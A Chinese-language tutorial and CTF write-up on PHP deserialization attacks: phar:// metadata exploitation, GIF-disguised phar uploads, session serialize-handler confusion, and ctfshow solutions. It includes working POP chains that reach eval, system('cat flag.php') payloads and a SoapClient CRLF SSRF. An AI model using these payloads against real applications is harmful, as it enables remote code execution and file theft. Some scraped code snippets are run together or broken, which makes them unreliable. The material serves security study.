php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器。
php中一些常见的流包装器如下:
1 2 3 4 5 6 7 8 9 10 11 12 file: http: ftp: php: zlib: data: glob: phar: ssh2: rar: ogg: expect:
Phar文件的结构 Phar文件主要包含三至四个部分:
1. a stub stub的基本结构:**xxx<?php xxx;__HALT_COMPILER();?>
,**前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
2. a manifest describing the contents Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点
3. the file contents 被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4. a signature for verifying Phar integrity 签名格式
来个小例子 根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
phar.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class TestObject { } $phar = new Phar("phar.phar" ); $phar ->startBuffering(); $phar ->setStub("<?php __HALT_COMPILER(); ?>" ); $o = new TestObject(); $o -> data='hu3sky' ; $phar ->setMetadata($o ); $phar ->addFromString("test.txt" , "test" ); $phar ->stopBuffering(); ?>
访问后,会生成一个phar.phar在当前目录下。
用winhex打开
可以明显的看到meta-data是以序列化的形式存储的。 有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
phar_fan.php
1 2 3 4 5 6 7 8 <?php class TestObject { function __destruct ( ) { echo $this -> data; } } include ('phar://phar.phar' ); ?>
可以看到成功触发了反序列化
格式
1 2 3 4 5 6 7 8 stub: phar文件的标志,必须以 xxx
如何生成一个phar文件?下面给出一个参考例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class Test { } @unlink("phar.phar" ); $phar = new Phar("phar.phar" ); $phar ->startBuffering(); $phar ->setStub("<?php __HALT_COMPILER(); ?>" ); $o = new Test(); $o -> data = 'phpinfo();' ; $phar ->setMetadata($o ); $phar ->addFromString("test.txt" , "test" ); $phar ->stopBuffering(); ?>
漏洞利用 1 phar文件要能够上传到服务器端。要有可用的魔术方法作为“跳板”。文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
受影响的函数 知道创宇测试后受影响的函数列表:
实际上不止这些,也可以参考这篇链接,里面有详细说明https://blog.zsxsoft.com/post/38
当然为了阅读方便,这里便把它整理过来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 exif_thumbnail exif_imagetype imageloadfont imagecreatefrom***系列函数 hash_hmac_file hash_file hash_update_file md5_file sha1_file get_meta_tags get_headers getimagesize getimagesizefromstring $zip = new ZipArchive();$res = $zip ->open('c.zip' );$zip ->extractTo('phar://test.phar/test' );$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt' ;$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt' ;<?php $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s" , "127.0.0.1" , "postgres" , "sx" , "123456" )); @$pdo ->pgsqlCopyFromFile('aa' , 'phar://phar.phar/aa' ); ?> <?php class A { public $s = '' ; public function __wakeup ( ) { system($this ->s); } } $m = mysqli_init();mysqli_options($m , MYSQLI_OPT_LOCAL_INFILE, true ); $s = mysqli_real_connect($m , 'localhost' , 'root' , 'root' , 'testtable' , 3306 );$p = mysqli_query($m , 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;' );?>
绕过方式 在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class TestObject { } @unlink("phar.phar" ); $phar = new Phar("phar.phar" ); $phar ->startBuffering(); $phar ->setStub("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $o = new TestObject(); $phar ->setMetadata($o ); $phar ->addFromString("test.txt" , "test" ); $phar ->stopBuffering(); ?>
并且,即使将文件名修改掉,用test.php测试发现仍然可以识别为phar,执行wakeup和destrcut。
采用这种方法可以绕过很大一部分上传检测。
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://
和compress.zlib://
等绕过
1 2 3 4 compress.bzip: compress.bzip2: compress.zlib: php:
当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
1 php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF格式验证可以通过在文件头部添加GIF89a绕过
1 2 3 $phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 生成一个phar.phar,修改后缀名为phar.gif
漏洞验证 环境准备 upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif upload_file.html 文件上传表单 file_un.php 存在file_exists(),并且存在__destruct()
利用条件 phar文件要能够上传到服务器端。 如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数 要有可用的魔术方法作为“跳板”。 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
文件内容 upload_file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php if (($_FILES ["file" ]["type" ]=="image/gif" )&&(substr($_FILES ["file" ]["name" ], strrpos($_FILES ["file" ]["name" ], '.' )+1 ))== 'gif' ) { echo "Upload: " . $_FILES ["file" ]["name" ]; echo "Type: " . $_FILES ["file" ]["type" ]; echo "Temp file: " . $_FILES ["file" ]["tmp_name" ]; if (file_exists("upload_file/" . $_FILES ["file" ]["name" ])) { echo $_FILES ["file" ]["name" ] . " already exists. " ; } else { move_uploaded_file($_FILES ["file" ]["tmp_name" ], "upload_file/" .$_FILES ["file" ]["name" ]); echo "Stored in: " . "upload_file/" . $_FILES ["file" ]["name" ]; } } else { echo "Invalid file,you can only upload gif" ; } ?>
upload_file.html
1 2 3 4 5 6 <body > <form action ="http://localhost/phar/upload_file.php" method ="post" enctype ="multipart/form-data" > <input type ="file" name ="file" /> <input type ="submit" name ="Upload" /> </form > </body >
file_un.php
1 2 3 4 5 6 7 8 9 10 <?php $filename =$_GET ['filename' ];class AnyClass { var $output = 'echo "ok";' ; function __destruct ( ) { eval ($this -> output); } } file_exists($filename );
实现过程
首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://
执行代码
构造代码
eval.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class AnyClass { var $output = 'echo "ok";' ; function __destruct ( ) { eval ($this -> output); } } $phar = new Phar('phar.phar' );$phar -> stopBuffering();$phar -> setStub('GIF89a' .'<?php __HALT_COMPILER();?>' );$phar -> addFromString('test.txt' ,'test' );$object = new AnyClass();$object -> output= 'phpinfo();' ;$phar -> setMetadata($object );$phar -> stopBuffering();?>
访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif
进行上传
然后利用file_un.php。
1 payload:filename=phar://upload_file/phar.gif
php-session反序列化 session的常用知识 基本概念: 要点:
保存在服务器端
变量: $_SESSION
变量过滤器: filter_input(INPUT_SESSION, key)
设置使用专用函数: setcookie(名称, 值, 过期时间)
生效需要分二步完成: 先下达指令到浏览器,再由浏览器完成 cookie 写入
session基本介绍 由于Http是一种无状态的的协议,只负责请求服务器,当它在服务器相应之后,就与浏览器失去了联系。不能保存用户的个人信息,就像一个商场和一个自动售货机或者普通的人之间的关系,所以为了弥补这个缺点Session才应声而出
session工作原理 1>当一个session第一次被启用时,一个唯一的标识被存储于本地的cookie中。
2>首先使用session_start()函数,PHP从session仓库中加载已经存储的session变量。
3>当执行PHP脚本时,通过使用session_register()函数注册session变量。
4>当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.save_path指定,下次浏览网页时可以加载使用。
session简单介绍 在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
session存储的方式 1 2 3 4 5 file - 将 Session 保存在 文件 中。 cookie - Session 保存在安全加密的 Cookie 中。 database - Session 保存在关系型数据库中。 memcached / redis - Sessions 保存在其中一个快速且基于缓存的存储系统中。 array - Sessions 保存在 PHP 数组中,不会被持久化。
session 的存储机制 php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler
来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid来进行命名的
php_serialize
经过serialize()函数序列化数组
php
键名+竖线+经过serialize()函数处理的值
php_binary
键名的长度对应的ascii字符+键名+serialize()函数序列化的值
序列化 (Serialization)就是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
1 2 $_SESSION [“user”]=”hgg”$_SESSION [“pwd”]=”aaaa”
序列话后成为一个字符串 user|s:6:"张三";pwd|s:8:"zhangsan";
用|
分别将键值对隔离
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler
来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid
来进行命名的,文件的内容就是session值的序列话之后的内容。 假设我们的环境是xampp,那么默认配置如上所述。 在默认配置情况下:
1 2 3 4 5 <?php session_start() $_SESSION ['name' ] = 'spoock' ;var_dump(); ?>
最后的session的存储和显示如下: 可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2
,而在xampp/tmp
下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2
,文件的内容是name|s:6:"spoock";
。name是键值,s:6:"spoock";
是serialize("spoock")
的结果。
在php_serialize引擎下:
1 2 3 4 5 6 <?php ini_set('session.serialize_handler' , 'php_serialize' ); session_start(); $_SESSION ['name' ] = 'spoock' ;var_dump(); ?>
SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}
。a:1
是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。
在php_binary引擎下:
1 2 3 4 5 6 <?php ini_set('session.serialize_handler' , 'php_binary' ); session_start(); $_SESSION ['name' ] = 'spoock' ;var_dump(); ?>
SESSION文件的内容是names:6:"spoock";
。由于name
的长度是4,4在ASCII表中对应的就是EOT
。根据php_binary的存储规则,最后就是names:6:"spoock";
。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)
session如何将session存入数据库并使用 首先在Mysql数据库创建存储SESSION的表: 表名为t_session 表结构为 说明:session_key
:是用来存会话ID的
session_data
:是用来存经序列化后的$_SESSION[]里的值;
session_time
:是用来存时间戳的,这个时间戳指的是当前session在创建时的 time()+session
的有效期。需要注意的是这 里的session_time
的类型是int
,这样可以在操作数据库时,进行大小比较!
session的存储位置 session的存储位置:一般是存储在/tmp
下,当然自己本机的位置可以自己在设置当中进行查看,查看session.save_path
session存储的默认文件名 sess_PHPSESSID:其中PHPSESSID为当前用户的sessionid值
PHP Session 基本函数的介绍 1 2 3 4 5 6 7 session_create_id:创建新会话id session_destroy:销毁一个会话中的全部数据 session_id:获取/设置当前会话 ID session_name:读取/设置会话名称 session_start:启动新会话或者重用现有会话 session_status:返回当前会话状态 session_unset:释放所有的会话变量
php.ini中一些session配置
1 2 3 4 session.save_path="" --设置session的存储路径 session.save_handler="" –设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0 不启动 session.serialize_handler string –定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在使用xampp组件安装中,上述的配置项的设置如下:
1 2 3 4 session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
利用姿势 session.upload_progress
进行文件包含和反序列化渗透
这篇文章说的很详细了,没必要班门弄斧
https://www.freebuf.com/vuls/202819.html
使用不同的引擎来处理session文件 $_SESSION变量直接可控
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。 如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
1 $_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';
上述的$_SESSION的数据使用php_serialize
,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}
。 但是我们在进行读取的时候,选择的是php
,那么最后读取的内容是:
1 2 3 4 array (size=1) 'a:1:{s:6:"spoock";s:24:"' => object(__PHP_Incomplete_Class)[1] public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)
这是因为当使用php引擎的时候,php引擎会以**|**作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"
作为SESSION的key,将O:11:"PeopleClass":0:{}
作为value,然后进行反序列化,最后就会得到PeopleClas这个类。 这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
$_SESSION变量直接不可控 我们来看高校战疫的一道CTF题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php ini_set('session.serialize_handler' , 'php' ); session_start(); class OowoO { public $mdzz ; function __construct ( ) { $this ->mdzz = 'phpinfo();' ; } function __destruct ( ) { eval ($this ->mdzz); } } if (isset ($_GET ['phpinfo' ])){ $m = new OowoO(); } else { highlight_string(file_get_contents('index.php' )); } ?>
我们注意到这样一句话ini_set('session.serialize_handler', 'php');
,因此不难猜测本身在php.ini当中的设置可能是php_serialize
,在查看了phpinfo后得证猜测正确,也知道了这道题的考点
那么我们就进入phpinfo查看一下,enabled=on
表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;只需往该地址任意 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS
的字段,就可以将filename的值赋值到session中
构造文件上传的表单
1 2 3 4 5 <form action ="http://web.jarvisoj.com:32784/index.php" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="777" /> <input type ="file" name ="file" /> <input type ="submit" /> </form >
接下来构造序列化payload
1 2 3 4 5 6 7 8 9 10 <?php ini_set('session.serialize_handler' , 'php_serialize' ); session_start(); class OowoO { public mdzz='print_r(scandir(dirname(__FILE__)));' ; } obj = new OowoO(); echo serialize($obj );?>
由于采用Burp发包,为防止双引号被转义,在双引号前加上\
,除此之外还要加上|
在这个页面随便上传一个文件,然后抓包修改filename的值
可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看
因此我们只需要把payload,当中改为print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
即可获取flag
1 2 3 4 5 6 7 8 9 10 <?php ini_set('session.serialize_handler' , 'php_serialize' ); session_start(); class OowoO { public $mdzz ='print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));' ; } $obj = new OowoO();echo serialize($obj );?>
例题1 首先打开题目对主页代码审计
大概意思是接收两个参数,一个name
与content
,之后将content
中的内容保存到’/tmp/name’
文件中,很容易猜测得到这个文件一定是session.save_path
所对应的目录,那么我们很容易便可以知道我们的name
参数应该就是sess_PHPSESSID
的文件,content
中存入的就是序列化对象;
再看这句话,content
默认再参数前面拼接了"---mylocalnote---\n
,在文件当中他肯定也会被当作序列化的键值对处理,因此我们需要将它的键key补齐; 因此我们最终可以构造payload
1 content=|HGGLHA;username|s:5 :"admin" ;&name=sess_PHPSESSID
,其中这个sess_PHPSESSID
为你本地保存的PHSESSID值,下面教大家如何查看 因此最终payload得到了
1 content=|N;username|s:5 :"admin" ;&name=sess_4f0q69vckqmtqd46sstnr2uohu
最终得到了admin的权限,再访问/flag.php
,得到flag的回显
实际利用 存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、 s1.php,使用php_serialize来处理session
1 2 3 4 5 <?php ini_set('session.serialize_handler' , 'php_serialize' ); session_start(); $_SESSION ["spoock" ]=$_GET ["a" ];?>
us2.php,使用php来处理session
1 2 3 4 5 6 7 8 9 10 11 12 13 ini_set('session.serialize_handler' , 'php' ); session_start(); class lemon { var $hi ; function __construct ( ) { $this ->hi = 'phpinfo();' ; } function __destruct ( ) { eval ($this ->hi); } } ?>
当访问s1.php时,提交如下的数据:
1 localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
此时传入的数据会按照php_serialize 来进行序列化。 此时访问us2.php时,页面输出,spoock
成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php 来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。
CTF 在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下: class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php highlight_string(file_get_contents(basename($_SERVER ['PHP_SELF' ]))); class foo1 { public $varr ; function __construct ( ) { $this ->varr = "index.php" ; } function __destruct ( ) { if (file_exists($this ->varr)){ echo "<br>文件" .$this ->varr."存在<br>" ; } echo "<br>这是foo1的析构函数<br>" ; } } class foo2 { public $varr ; public $obj ; function __construct ( ) { $this ->varr = '1234567890' ; $this ->obj = null ; } function __toString ( ) { $this ->obj->execute(); return $this ->varr; } function __desctuct ( ) { echo "<br>这是foo2的析构函数<br>" ; } } class foo3 { public $varr ; function execute ( ) { eval ($this ->varr); } function __desctuct ( ) { echo "<br>这是foo3的析构函数<br>" ; } } ?>
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php ini_set('session.serialize_handler' , 'php' ); require ("./class.php" );session_start(); $obj = new foo1();$obj ->varr = "phpinfo.php" ;?>
通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。 那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下: myindex.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class foo3 { public $varr ='echo "spoock";' ; function execute ( ) { eval ($this ->varr); } } class foo2 { public $varr ; public $obj ; function __construct ( ) { $this ->varr = '1234567890' ; $this ->obj = new foo3(); } function __toString ( ) { $this ->obj->execute(); return $this ->varr; } } class foo1 { public $varr ; function __construct ( ) { $this ->varr = new foo2(); } } $obj = new foo1();print_r(serialize($obj )); ?>
在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"
。最终得到的序列话的值是
1 O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";
的方法了。 写入的方式主要是利用PHP中Session Upload Progress 来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:
1 2 3 4 5 <form action ="index.php" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="123" /> <input type ="file" name ="file" /> <input type ="submit" /> </form >
最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。 那么最终写入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}
。注意与本地反序列化不一样的地方是要在最前方加上**|** 但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。
ctfshow web254 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 error_reporting(0 ); highlight_file(__FILE__ ); include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { if ($this ->username===$u &&$this ->password===$p ){ $this ->isVip=true ; } return $this ->isVip; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = new ctfShowUser(); if ($user ->login($username ,$password )){ if ($user ->checkVip()){ $user ->vipOneKeyGetFlag(); } }else { echo "no vip,no flag" ; } }
这个和反序列化没啥关系
1 username=xxxxxx&password=xxxxxx
web255 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 error_reporting(0 ); highlight_file(__FILE__ ); include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize($_COOKIE ['user' ]); if ($user ->login($username ,$password )){ if ($user ->checkVip()){ $user ->vipOneKeyGetFlag(); } }else { echo "no vip,no flag" ; } }
主要就是说$isVip=True
,并且序列化的值要以$cookie
的形式传入
首先通过反序列化获取对象(序列化将对象保存到字符串,反序列化将字符串恢复为对象),之后checkVip要求是true,之后执行vipOneKeyGetFlag获取flag
1 2 3 4 5 6 <?php class ctfShowUser { public $isVip = TRUE ; } echo urlencode(serialize(new ctfShowUser));?>
还有一点
注意在cookie字段当中需要url编码一波(其名称以及存储的字符串值是必须经过URL编码的)
web256 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; if ($this ->username!==$this ->password){ echo "your flag is " .$flag ; } }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize($_COOKIE ['user' ]); if ($user ->login($username ,$password )){ if ($user ->checkVip()){ $user ->vipOneKeyGetFlag(); } }else { echo "no vip,no flag" ; } }
逻辑上和刚刚一样,只不过多了一个比较就是$username和$password
的值不能相等。那就在序列化前吧账户或密码任意改一个,或者两个都改了
web257 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'info' ; public function __construct ( ) { $this ->class=new info(); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class->getInfo(); } } class info { private $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { private $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize($_COOKIE ['user' ]); $user ->login($username ,$password ); }
审一下审一下
eval
肯定是要用它去拿flag,调用eval
就要调用getinfo()
,只有__destruct
中去调用了,但是__construct
实例化的是info()
,我们需要调用的是backDoor
里的。
思路就有了:
$this->class=new backDoor();
就成了,因为之后反序列化结束后,会执行__destruct()
,此时eval($this->code);
等价于eval(system('cat flag.php');)
注意:
由于配上private有特殊不可见字符不想手动处理所以进行url编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class ctfShowUser { public function __construct ( ) { $this -> class = new backDoor (); } public function __destruct () { $this ->class -> get_info(); } } class backDoor { private $code = "system('cat flag.php');" ; public function get_info ( ) { eval ($this -> code); } } echo urlencode(serialize(new ctfShowUser));?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class ctfShowUser { public $class = 'backDoor' ; } class backDoor { public $code ="system('cat flag.php');" ; public function getInfo ( ) { eval ($this ->code); } } $a = new backDoor();$b = new ctfShowUser();$b ->class=$a ;echo urlencode(serialize($b ));
web258 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct ( ) { $this ->class=new info(); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class->getInfo(); } } class info { public $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { public $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ if (!preg_match('/[oc]:\d+:/i' , $_COOKIE ['user' ])){ $user = unserialize($_COOKIE ['user' ]); } $user ->login($username ,$password ); }
绕过preg_match(’/[oc]:\d+:/i’, $var),使用➕
这道题我用数组没绕过去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct ( ) { $this ->class=new backDoor(); } } class backDoor { public $code = "system('cat flag.php');" ; public function getInfo ( ) { eval ($this ->code); } } $a = new ctfShowUser;$b = serialize(array ($a ));echo urlencode($b );?>
web259 直接给出了flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 $xff = explode(',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]);array_pop($xff ); $ip = array_pop($xff );if ($ip !=='127.0.0.1' ){ die ('error' ); }else { $token = $_POST ['token' ]; if ($token =='ctfshow' ){ file_put_contents('flag.txt' ,$flag ); } }
进入后源码
1 2 3 4 5 6 7 8 <?php highlight_file(__FILE__ ); $vip = unserialize($_GET ['vip' ]);$vip ->getFlag();
由于使用了Cloudflare 代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,本题就是后者的情况,在两次调用array_pop后我们取得的始终是固定的服务器IP。
由于服务器带有cloudfare代理,我们无法通过本地构造XFF头实现绕过,我们需要使用SoapClient与CRLF实现SSRF访问127.0.0.1/flag.php
,即可绕过cloudfare代理
因为Content-length的缘故,post只取到token=ctfshow,成功把下面的那些东西给吃掉了,实现了自己构造POST的请求包。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $target = 'http://127.0.0.1/flag.php' ;$post_string = 'token=ctfshow' ;$headers = array ( 'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1' , ); $b = new SoapClient(null ,array ('location' => $target ,'user_agent' =>'Keyond^^Content-Type: application/x-www-form-urlencoded^^' .join('^^' ,$headers ).'^^Content-Length: ' .strlen($post_string ).'^^^^' .$post_string ,'uri' => "aaab" ));$aaa = serialize($b );$aaa = str_replace('^^' ,"\r\n" ,$aaa );$aaa = str_replace('&' ,'&' ,$aaa );echo urlencode($aaa );?>
然后直接访问flag.txt就欧克了
web260 1 2 3 4 5 6 7 8 9 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ('flag.php' );if (preg_match('/ctfshow_i_love_36D/' ,serialize($_GET ['ctfshow' ]))){ echo $flag ; }
这道题傻了。。。。。就是说你传进来的值反序列后有ctfshow_i_love_36D
,那直接传进去不就行了
1 ctfshow=ctfshow_i_love_36D
